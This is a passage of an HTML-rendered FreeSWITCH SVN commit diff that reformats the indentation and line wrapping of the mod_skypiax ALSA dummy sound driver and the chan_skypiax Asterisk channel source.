+        .hw_free = snd_card_dummy_hw_free,
+        .prepare = snd_card_dummy_pcm_prepare,
+        .trigger = snd_card_dummy_pcm_trigger,
+        .pointer = snd_card_dummy_pcm_pointer,
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static struct snd_pcm_ops snd_card_dummy_capture_ops = {
</span><del>-        .open =                        snd_card_dummy_capture_open,
-        .close =                snd_card_dummy_capture_close,
-        .ioctl =                snd_pcm_lib_ioctl,
-        .hw_params =                snd_card_dummy_hw_params,
-        .hw_free =                snd_card_dummy_hw_free,
-        .prepare =                snd_card_dummy_pcm_prepare,
-        .trigger =                snd_card_dummy_pcm_trigger,
-        .pointer =                snd_card_dummy_pcm_pointer,
</del><ins>+        .open = snd_card_dummy_capture_open,
+        .close = snd_card_dummy_capture_close,
+        .ioctl = snd_pcm_lib_ioctl,
+        .hw_params = snd_card_dummy_hw_params,
+        .hw_free = snd_card_dummy_hw_free,
+        .prepare = snd_card_dummy_pcm_prepare,
+        .trigger = snd_card_dummy_pcm_trigger,
+        .pointer = snd_card_dummy_pcm_pointer,
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
-                                        int substreams)
</del><ins>+static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device, int substreams)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_pcm *pcm;
</span><span class="cx">         int err;
</span><span class="cx"> 
</span><del>-        err = snd_pcm_new(dummy-&gt;card, &quot;Dummy PCM&quot;, device,
-                               substreams, substreams, &amp;pcm);
</del><ins>+        err = snd_pcm_new(dummy-&gt;card, &quot;Dummy PCM&quot;, device, substreams, substreams, &amp;pcm);
</ins><span class="cx">         if (err &lt; 0)
</span><span class="cx">                 return err;
</span><span class="cx">         dummy-&gt;pcm = pcm;
</span><span class="lines">@@ -621,9 +611,7 @@
</span><span class="cx">         pcm-&gt;private_data = dummy;
</span><span class="cx">         pcm-&gt;info_flags = 0;
</span><span class="cx">         strcpy(pcm-&gt;name, &quot;Dummy PCM&quot;);
</span><del>-        snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS,
-                                              snd_dma_continuous_data(GFP_KERNEL),
-                                              128*1024, 1024*1024);
</del><ins>+        snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS, snd_dma_continuous_data(GFP_KERNEL), 128 * 1024, 1024 * 1024);
</ins><span class="cx"> 
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -637,8 +625,7 @@
</span><span class="cx">   .private_value = addr, \
</span><span class="cx">   .tlv = { .p = db_scale_dummy } }
</span><span class="cx"> 
</span><del>-static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
-                                 struct snd_ctl_elem_info *uinfo)
</del><ins>+static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo)
</ins><span class="cx"> {
</span><span class="cx">         uinfo-&gt;type = SNDRV_CTL_ELEM_TYPE_INTEGER;
</span><span class="cx">         uinfo-&gt;count = 2;
</span><span class="lines">@@ -646,15 +633,14 @@
</span><span class="cx">         uinfo-&gt;value.integer.max = 100;
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><del>- 
-static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
-                                struct snd_ctl_elem_value *ucontrol)
</del><ins>+
+static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
</span><span class="cx">         int addr = kcontrol-&gt;private_value;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx"> 
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk(&quot;giova: line %d we are in HARDWARE IRQ\n&quot;, __LINE__);
</span><span class="cx"> //printk(&quot;giova: volume get %d %d\n&quot;, __LINE__, addr);
</span><span class="cx">         //spin_lock_irq(&amp;dummy-&gt;mixer_lock);
</span><span class="lines">@@ -667,15 +653,14 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
-                                struct snd_ctl_elem_value *ucontrol)
</del><ins>+static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
</span><span class="cx">         int change, addr = kcontrol-&gt;private_value;
</span><span class="cx">         int left, right;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx"> 
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk(&quot;giova: line %d we are in HARDWARE IRQ\n&quot;, __LINE__);
</span><span class="cx">         left = ucontrol-&gt;value.integer.value[0];
</span><span class="cx">         if (left &lt; -50)
</span><span class="lines">@@ -691,8 +676,7 @@
</span><span class="cx">         //spin_lock_irq(&amp;dummy-&gt;mixer_lock);
</span><span class="cx">         //spin_lock_irqsave(&amp;dummy-&gt;mixer_lock, flags);
</span><span class="cx">         spin_lock_bh(&amp;dummy-&gt;mixer_lock);
</span><del>-        change = dummy-&gt;mixer_volume[addr][0] != left ||
-                 dummy-&gt;mixer_volume[addr][1] != right;
</del><ins>+        change = dummy-&gt;mixer_volume[addr][0] != left || dummy-&gt;mixer_volume[addr][1] != right;
</ins><span class="cx">         dummy-&gt;mixer_volume[addr][0] = left;
</span><span class="cx">         dummy-&gt;mixer_volume[addr][1] = right;
</span><span class="cx">         //spin_unlock_irq(&amp;dummy-&gt;mixer_lock);
</span><span class="lines">@@ -710,15 +694,14 @@
</span><span class="cx">   .private_value = addr }
</span><span class="cx"> 
</span><span class="cx"> #define snd_dummy_capsrc_info        snd_ctl_boolean_stereo_info
</span><del>- 
-static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol,
-                                struct snd_ctl_elem_value *ucontrol)
</del><ins>+
+static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
</ins><span class="cx"> {
</span><span class="cx">         struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
</span><span class="cx">         int addr = kcontrol-&gt;private_value;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx"> 
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk(&quot;giova: line %d we are in HARDWARE IRQ\n&quot;, __LINE__);
</span><span class="cx">         //spin_lock_irq(&amp;dummy-&gt;mixer_lock);
</span><span class="cx">         //spin_lock_irqsave(&amp;dummy-&gt;mixer_lock, flags);
</span><span class="lines">@@ -739,15 +722,14 @@
</span><span class="cx">         int left, right;
</span><span class="cx">         //unsigned long flags;
</span><span class="cx"> 
</span><del>-        if(in_irq())
</del><ins>+        if (in_irq())
</ins><span class="cx">                 printk(&quot;giova: line %d we are in HARDWARE IRQ\n&quot;, __LINE__);
</span><span class="cx">         left = ucontrol-&gt;value.integer.value[0] &amp; 1;
</span><span class="cx">         right = ucontrol-&gt;value.integer.value[1] &amp; 1;
</span><span class="cx">         //spin_lock_irq(&amp;dummy-&gt;mixer_lock);
</span><span class="cx">         //spin_lock_irqsave(&amp;dummy-&gt;mixer_lock, flags);
</span><span class="cx">         spin_lock_bh(&amp;dummy-&gt;mixer_lock);
</span><del>-        change = dummy-&gt;capture_source[addr][0] != left &amp;&amp;
-                 dummy-&gt;capture_source[addr][1] != right;
</del><ins>+        change = dummy-&gt;capture_source[addr][0] != left &amp;&amp; dummy-&gt;capture_source[addr][1] != right;
</ins><span class="cx">         dummy-&gt;capture_source[addr][0] = left;
</span><span class="cx">         dummy-&gt;capture_source[addr][1] = right;
</span><span class="cx">         //spin_unlock_irq(&amp;dummy-&gt;mixer_lock);
</span><span class="lines">@@ -758,16 +740,16 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static struct snd_kcontrol_new snd_dummy_controls[] = {
</span><del>-DUMMY_VOLUME(&quot;Master Volume&quot;, 0, MIXER_ADDR_MASTER),
-DUMMY_CAPSRC(&quot;Master Capture Switch&quot;, 0, MIXER_ADDR_MASTER),
-DUMMY_VOLUME(&quot;Synth Volume&quot;, 0, MIXER_ADDR_SYNTH),
-DUMMY_CAPSRC(&quot;Synth Capture Switch&quot;, 0, MIXER_ADDR_SYNTH),
-DUMMY_VOLUME(&quot;Line Volume&quot;, 0, MIXER_ADDR_LINE),
-DUMMY_CAPSRC(&quot;Line Capture Switch&quot;, 0, MIXER_ADDR_LINE),
-DUMMY_VOLUME(&quot;Mic Volume&quot;, 0, MIXER_ADDR_MIC),
-DUMMY_CAPSRC(&quot;Mic Capture Switch&quot;, 0, MIXER_ADDR_MIC),
-DUMMY_VOLUME(&quot;CD Volume&quot;, 0, MIXER_ADDR_CD),
-DUMMY_CAPSRC(&quot;CD Capture Switch&quot;, 0, MIXER_ADDR_CD)
</del><ins>+        DUMMY_VOLUME(&quot;Master Volume&quot;, 0, MIXER_ADDR_MASTER),
+        DUMMY_CAPSRC(&quot;Master Capture Switch&quot;, 0, MIXER_ADDR_MASTER),
+        DUMMY_VOLUME(&quot;Synth Volume&quot;, 0, MIXER_ADDR_SYNTH),
+        DUMMY_CAPSRC(&quot;Synth Capture Switch&quot;, 0, MIXER_ADDR_SYNTH),
+        DUMMY_VOLUME(&quot;Line Volume&quot;, 0, MIXER_ADDR_LINE),
+        DUMMY_CAPSRC(&quot;Line Capture Switch&quot;, 0, MIXER_ADDR_LINE),
+        DUMMY_VOLUME(&quot;Mic Volume&quot;, 0, MIXER_ADDR_MIC),
+        DUMMY_CAPSRC(&quot;Mic Capture Switch&quot;, 0, MIXER_ADDR_MIC),
+        DUMMY_VOLUME(&quot;CD Volume&quot;, 0, MIXER_ADDR_CD),
+        DUMMY_CAPSRC(&quot;CD Capture Switch&quot;, 0, MIXER_ADDR_CD)
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
</span><span class="lines">@@ -777,11 +759,11 @@
</span><span class="cx">         int err;
</span><span class="cx"> 
</span><span class="cx">         //giova if (snd_BUG_ON(!dummy))
</span><del>-                //giova return -EINVAL;
</del><ins>+        //giova return -EINVAL;
</ins><span class="cx">         spin_lock_init(&amp;dummy-&gt;mixer_lock);
</span><span class="cx">         strcpy(card-&gt;mixername, &quot;Dummy Mixer&quot;);
</span><span class="cx"> //printk(&quot;giova: new_mixer %d\n&quot;, __LINE__);
</span><del>-        return 0; //giova no mixer
</del><ins>+        return 0;                                        //giova no mixer
</ins><span class="cx"> 
</span><span class="cx">         for (idx = 0; idx &lt; ARRAY_SIZE(snd_dummy_controls); idx++) {
</span><span class="cx">                 err = snd_ctl_add(card, snd_ctl_new1(&amp;snd_dummy_controls[idx], dummy));
</span><span class="lines">@@ -798,15 +780,14 @@
</span><span class="cx">         int idx, err;
</span><span class="cx">         int dev = devptr-&gt;id;
</span><span class="cx"> 
</span><del>-        card = snd_card_new(index[dev], id[dev], THIS_MODULE,
-                            sizeof(struct snd_dummy));
-        if (card == NULL)
-                return -ENOMEM;
</del><ins>+        card = snd_card_new(index[dev], id[dev], THIS_MODULE, sizeof(struct snd_dummy));
+        if (card == NULL)
+                return -ENOMEM;
</ins><span class="cx"> 
</span><span class="cx">         //giova err = snd_card_create(index[dev], id[dev], THIS_MODULE,
</span><del>-                              //giova sizeof(struct snd_dummy), &amp;card);
</del><ins>+        //giova sizeof(struct snd_dummy), &amp;card);
</ins><span class="cx">         //giova if (err &lt; 0)
</span><del>-                //giova return err;
</del><ins>+        //giova return err;
</ins><span class="cx">         dummy = card-&gt;private_data;
</span><span class="cx">         dummy-&gt;card = card;
</span><span class="cx">         for (idx = 0; idx &lt; MAX_PCM_DEVICES &amp;&amp; idx &lt; pcm_devs[dev]; idx++) {
</span><span class="lines">@@ -832,7 +813,7 @@
</span><span class="cx">                 platform_set_drvdata(devptr, card);
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><del>-      __nodev:
</del><ins>+  __nodev:
</ins><span class="cx">         snd_card_free(card);
</span><span class="cx">         return err;
</span><span class="cx"> }
</span><span class="lines">@@ -856,7 +837,7 @@
</span><span class="cx">         snd_pcm_suspend_all(dummy-&gt;pcm);
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><del>-        
</del><ins>+
</ins><span class="cx"> static int snd_dummy_resume(struct platform_device *pdev)
</span><span class="cx"> {
</span><span class="cx">         struct snd_card *card = platform_get_drvdata(pdev);
</span><span class="lines">@@ -869,15 +850,14 @@
</span><span class="cx"> #define SND_DUMMY_DRIVER        &quot;snd_dummy&quot;
</span><span class="cx"> 
</span><span class="cx"> static struct platform_driver snd_dummy_driver = {
</span><del>-        .probe                = snd_dummy_probe,
-        .remove                = __devexit_p(snd_dummy_remove),
</del><ins>+        .probe = snd_dummy_probe,
+        .remove = __devexit_p(snd_dummy_remove),
</ins><span class="cx"> #ifdef CONFIG_PM
</span><del>-        .suspend        = snd_dummy_suspend,
-        .resume                = snd_dummy_resume,
</del><ins>+        .suspend = snd_dummy_suspend,
+        .resume = snd_dummy_resume,
</ins><span class="cx"> #endif
</span><del>-        .driver                = {
-                .name        = SND_DUMMY_DRIVER
-        },
</del><ins>+        .driver = {
+                           .name = SND_DUMMY_DRIVER},
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static void snd_dummy_unregister_all(void)
</span><span class="lines">@@ -897,38 +877,37 @@
</span><span class="cx">         if (err &lt; 0)
</span><span class="cx">                 return err;
</span><span class="cx"> 
</span><del>-if(!giovastarted){
-giovastarted=1;
-        spin_lock_init(&amp;giovalock);
</del><ins>+        if (!giovastarted) {
+                giovastarted = 1;
+                spin_lock_init(&amp;giovalock);
</ins><span class="cx"> 
</span><del>-        spin_lock_bh(&amp;giovalock);
-for(i=0; i&lt;MAX_PCM_SUBSTREAMS;i++){
</del><ins>+                spin_lock_bh(&amp;giovalock);
+                for (i = 0; i &lt; MAX_PCM_SUBSTREAMS; i++) {
</ins><span class="cx"> 
</span><del>-        if(i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS){
-                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d \n&quot;, __FILE__, __LINE__, i, giovaindex);
</del><ins>+                        if (i &gt; MAX_PCM_SUBSTREAMS || giovaindex &gt; MAX_PCM_SUBSTREAMS) {
+                                printk(&quot;giova, %s:%d, i=%d, giovaindex=%d \n&quot;, __FILE__, __LINE__, i, giovaindex);
+                        }
+                        giovadpcms[i].substream = NULL;
+                        giovadpcms[i].dpcm = NULL;
+                        giovadpcms[i].started = 0;
+                }
+                init_timer(&amp;giovatimer);
+                //giovatimer.data = (unsigned long) dpcm;
+                giovatimer.data = (unsigned long) &amp;giovadpcms;
+                giovatimer.function = snd_card_dummy_pcm_timer_function;
+                giovatimer.expires = (HZ / 100) + jiffies;
+                add_timer(&amp;giovatimer);
+                printk(&quot;snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n&quot;, __FILE__, __LINE__, HZ);
+                spin_unlock_bh(&amp;giovalock);
</ins><span class="cx">         }
</span><del>-giovadpcms[i].substream=NULL;
-giovadpcms[i].dpcm=NULL;
-giovadpcms[i].started=0;
-}
-        init_timer(&amp;giovatimer);
-        //giovatimer.data = (unsigned long) dpcm;
-        giovatimer.data = (unsigned long) &amp;giovadpcms;
-        giovatimer.function = snd_card_dummy_pcm_timer_function;
-        giovatimer.expires = (HZ/100) + jiffies;
-        add_timer(&amp;giovatimer);
-printk(&quot;snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n&quot;, __FILE__, __LINE__, HZ);
-        spin_unlock_bh(&amp;giovalock);
-}
</del><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         cards = 0;
</span><span class="cx">         for (i = 0; i &lt; SNDRV_CARDS; i++) {
</span><span class="cx">                 struct platform_device *device;
</span><del>-                if (! enable[i])
</del><ins>+                if (!enable[i])
</ins><span class="cx">                         continue;
</span><del>-                device = platform_device_register_simple(SND_DUMMY_DRIVER,
-                                                         i, NULL, 0);
</del><ins>+                device = platform_device_register_simple(SND_DUMMY_DRIVER, i, NULL, 0);
</ins><span class="cx">                 if (IS_ERR(device))
</span><span class="cx">                         continue;
</span><span class="cx">                 if (!platform_get_drvdata(device)) {
</span><span class="lines">@@ -955,4 +934,4 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> module_init(alsa_card_dummy_init)
</span><del>-module_exit(alsa_card_dummy_exit)
</del><ins>+        module_exit(alsa_card_dummy_exit)
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_skypiaxasteriskchan_skypiaxc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -12,7 +12,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* GLOBAL VARIABLES */
</span><span class="cx"> int running = 1;
</span><del>-int skypiax_dir_entry_extension = 1;    //FIXME one var for each interface!
</del><ins>+int skypiax_dir_entry_extension = 1;        //FIXME one var for each interface!
</ins><span class="cx"> char skypiax_console_active_array[50] = &quot;&quot;;
</span><span class="cx"> char *skypiax_console_active = skypiax_console_active_array;
</span><span class="cx"> /*! \brief Count of active channels for this module */
</span><span class="lines">@@ -32,97 +32,93 @@
</span><span class="cx"> const char skypiax_config[] = &quot;skypiax.conf&quot;;
</span><span class="cx"> 
</span><span class="cx"> char skypiax_console_skypiax_usage[] =
</span><del>-  &quot;       \n&quot; &quot;chan_skypiax commands info\n&quot; &quot;       \n&quot;
-  &quot;       chan_skypiax adds to Asterisk the following CLI commands:\n&quot; &quot;       \n&quot;
-  &quot;       CLI COMMANDS:\n&quot; &quot;          skypiax_hangup\n&quot; &quot;          skypiax_dial\n&quot;
-  &quot;          skypiax_console\n&quot; &quot;          skypiax_playback_boost\n&quot;
-  &quot;          skypiax_capture_boost\n&quot; &quot;          skypiax_skype\n&quot;
-  &quot;          skypiax_dir_import\n&quot; &quot;\n&quot;
-  &quot;       You can type 'help [command]' to obtain more specific info on usage.\n&quot;
-  &quot;       \n&quot;;
</del><ins>+        &quot;       \n&quot; &quot;chan_skypiax commands info\n&quot; &quot;       \n&quot;
+        &quot;       chan_skypiax adds to Asterisk the following CLI commands:\n&quot; &quot;       \n&quot;
+        &quot;       CLI COMMANDS:\n&quot; &quot;          skypiax_hangup\n&quot; &quot;          skypiax_dial\n&quot;
+        &quot;          skypiax_console\n&quot; &quot;          skypiax_playback_boost\n&quot;
+        &quot;          skypiax_capture_boost\n&quot; &quot;          skypiax_skype\n&quot;
+        &quot;          skypiax_dir_import\n&quot; &quot;\n&quot; &quot;       You can type 'help [command]' to obtain more specific info on usage.\n&quot; &quot;       \n&quot;;
</ins><span class="cx"> char skypiax_console_hangup_usage[] =
</span><del>-  &quot;Usage: skypiax_hangup\n&quot;
-  &quot;       Hangs up any call currently placed on the \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
-  &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</del><ins>+        &quot;Usage: skypiax_hangup\n&quot;
+        &quot;       Hangs up any call currently placed on the \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
+        &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</ins><span class="cx"> char skypiax_console_playback_boost_usage[] =
</span><del>-  &quot;Usage: skypiax_playback_boost [value]\n&quot;
-  &quot;       Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
-  &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</del><ins>+        &quot;Usage: skypiax_playback_boost [value]\n&quot;
+        &quot;       Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
+        &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</ins><span class="cx"> char skypiax_console_capture_boost_usage[] =
</span><del>-  &quot;Usage: skypiax_capture_boost [value]\n&quot;
-  &quot;       Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
-  &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</del><ins>+        &quot;Usage: skypiax_capture_boost [value]\n&quot;
+        &quot;       Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
+        &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> char skypiax_console_dial_usage[] =
</span><del>-  &quot;Usage: skypiax_dial [DTMFs]\n&quot;
-  &quot;       Dials a given DTMF string in the call currently placed on the\n&quot;
-  &quot;       \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
-  &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</del><ins>+        &quot;Usage: skypiax_dial [DTMFs]\n&quot;
+        &quot;       Dials a given DTMF string in the call currently placed on the\n&quot;
+        &quot;       \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot; &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> char skypiax_console_skypiax_console_usage[] =
</span><del>-  &quot;Usage: skypiax_console [interface] | [show]\n&quot;
-  &quot;       If used without a parameter, displays which interface is the \&quot;current\&quot;\n&quot;
-  &quot;       skypiax_console.  If a device is specified, the \&quot;current\&quot; skypiax_console is changed to\n&quot;
-  &quot;       the interface specified.\n&quot;
-  &quot;       If the parameter is \&quot;show\&quot;, the available interfaces are listed\n&quot;;
</del><ins>+        &quot;Usage: skypiax_console [interface] | [show]\n&quot;
+        &quot;       If used without a parameter, displays which interface is the \&quot;current\&quot;\n&quot;
+        &quot;       skypiax_console.  If a device is specified, the \&quot;current\&quot; skypiax_console is changed to\n&quot;
+        &quot;       the interface specified.\n&quot; &quot;       If the parameter is \&quot;show\&quot;, the available interfaces are listed\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> char skypiax_console_skype_usage[] =
</span><del>-  &quot;Usage: skypiax_skype [command string]\n&quot;
-  &quot;       Send the 'command string' skype_msg to the Skype client connected to the  \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
-  &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</del><ins>+        &quot;Usage: skypiax_skype [command string]\n&quot;
+        &quot;       Send the 'command string' skype_msg to the Skype client connected to the  \&quot;current\&quot; skypiax_console (Skypiax) channel.\n&quot;
+        &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> char skypiax_console_skypiax_dir_import_usage[] =
</span><del>-  &quot;Usage: skypiax_dir_import [add | replace]\n&quot;
-  &quot;       Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \&quot;current\&quot; skypiax_console.\n&quot;
-  &quot;       You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n&quot;
-  &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</del><ins>+        &quot;Usage: skypiax_dir_import [add | replace]\n&quot;
+        &quot;       Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \&quot;current\&quot; skypiax_console.\n&quot;
+        &quot;       You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n&quot;
+        &quot;       Enter 'help skypiax_console' on how to change the \&quot;current\&quot; skypiax_console\n&quot;;
</ins><span class="cx"> 
</span><span class="cx"> /*! \brief Definition of this channel for PBX channel registration */
</span><span class="cx"> const struct ast_channel_tech skypiax_tech = {
</span><del>-  .type = skypiax_type,
-  .description = skypiax_desc,
-  .capabilities = AST_FORMAT_SLINEAR,
-  .requester = skypiax_request,
-  .hangup = skypiax_hangup,
-  .answer = skypiax_answer,
-  .read = skypiax_read,
-  .call = skypiax_originate_call,
-  .write = skypiax_write,
-  .indicate = skypiax_indicate,
-  .fixup = skypiax_fixup,
-  .devicestate = skypiax_devicestate,
</del><ins>+        .type = skypiax_type,
+        .description = skypiax_desc,
+        .capabilities = AST_FORMAT_SLINEAR,
+        .requester = skypiax_request,
+        .hangup = skypiax_hangup,
+        .answer = skypiax_answer,
+        .read = skypiax_read,
+        .call = skypiax_originate_call,
+        .write = skypiax_write,
+        .indicate = skypiax_indicate,
+        .fixup = skypiax_fixup,
+        .devicestate = skypiax_devicestate,
</ins><span class="cx"> #ifdef ASTERISK_VERSION_1_4
</span><del>-  .send_digit_begin = skypiax_digitsend_begin,
-  .send_digit_end = skypiax_digitsend_end,
</del><ins>+        .send_digit_begin = skypiax_digitsend_begin,
+        .send_digit_end = skypiax_digitsend_end,
</ins><span class="cx"> #else /* ASTERISK_VERSION_1_4 */
</span><del>-  .send_digit = skypiax_digitsend,
</del><ins>+        .send_digit = skypiax_digitsend,
</ins><span class="cx"> #endif /* ASTERISK_VERSION_1_4 */
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> /*! \brief fake skypiax_pvt structure values, 
</span><span class="cx">  * just for logging purposes */
</span><span class="cx"> struct skypiax_pvt skypiax_log_struct = {
</span><del>-  .name = &quot;none&quot;,
</del><ins>+        .name = &quot;none&quot;,
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> /*! \brief Default skypiax_pvt structure values, 
</span><span class="cx">  * used by skypiax_mkif to initialize the interfaces */
</span><span class="cx"> struct skypiax_pvt skypiax_default = {
</span><del>-  .interface_state = SKYPIAX_STATE_DOWN,
-  .skype_callflow = 0,
-  .context = &quot;default&quot;,
-  .language = &quot;en&quot;,
-  .exten = &quot;s&quot;,
-  .next = NULL,
-  .owner = NULL,
-  .controldev_thread = AST_PTHREADT_NULL,
-  .skypiax_sound_rate = 8000,
-  .skypiax_sound_capt_fd = -1,
-  .capture_boost = 0,
-  .playback_boost = 0,
-  .stripmsd = 0,
-  .skype = 0,
-  .skypiax_dir_entry_extension_prefix = 6,
</del><ins>+        .interface_state = SKYPIAX_STATE_DOWN,
+        .skype_callflow = 0,
+        .context = &quot;default&quot;,
+        .language = &quot;en&quot;,
+        .exten = &quot;s&quot;,
+        .next = NULL,
+        .owner = NULL,
+        .controldev_thread = AST_PTHREADT_NULL,
+        .skypiax_sound_rate = 8000,
+        .skypiax_sound_capt_fd = -1,
+        .capture_boost = 0,
+        .playback_boost = 0,
+        .stripmsd = 0,
+        .skype = 0,
+        .skypiax_dir_entry_extension_prefix = 6,
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> /*! 
</span><span class="lines">@@ -136,38 +132,38 @@
</span><span class="cx">  * CLI do not works since some time on 1.6, they changed the CLI mechanism
</span><span class="cx">  */
</span><span class="cx"> #if 0
</span><del>-  AST_CLI_DEFINE(skypiax_console_hangup, &quot;Hangup a call on the console&quot;),
-  AST_CLI_DEFINE(skypiax_console_dial, &quot;Dial an extension on the console&quot;),
-  AST_CLI_DEFINE(skypiax_console_playback_boost, &quot;Sets/displays spk boost in dB&quot;),
-  AST_CLI_DEFINE(skypiax_console_capture_boost, &quot;Sets/displays mic boost in dB&quot;),
-  AST_CLI_DEFINE(skypiax_console_set_active, &quot;Sets/displays active console&quot;),
-  AST_CLI_DEFINE(skypiax_console_skype, &quot;Sends a Skype command&quot;),
-  AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, &quot;imports entries from cellphone&quot;),
-  AST_CLI_DEFINE(skypiax_console_skypiax, &quot;all things skypiax&quot;),
</del><ins>+        AST_CLI_DEFINE(skypiax_console_hangup, &quot;Hangup a call on the console&quot;),
+        AST_CLI_DEFINE(skypiax_console_dial, &quot;Dial an extension on the console&quot;),
+        AST_CLI_DEFINE(skypiax_console_playback_boost, &quot;Sets/displays spk boost in dB&quot;),
+        AST_CLI_DEFINE(skypiax_console_capture_boost, &quot;Sets/displays mic boost in dB&quot;),
+        AST_CLI_DEFINE(skypiax_console_set_active, &quot;Sets/displays active console&quot;),
+        AST_CLI_DEFINE(skypiax_console_skype, &quot;Sends a Skype command&quot;),
+        AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, &quot;imports entries from cellphone&quot;),
+        AST_CLI_DEFINE(skypiax_console_skypiax, &quot;all things skypiax&quot;),
</ins><span class="cx"> #endif
</span><span class="cx"> };
</span><span class="cx"> #else
</span><span class="cx"> struct ast_cli_entry myclis[] = {
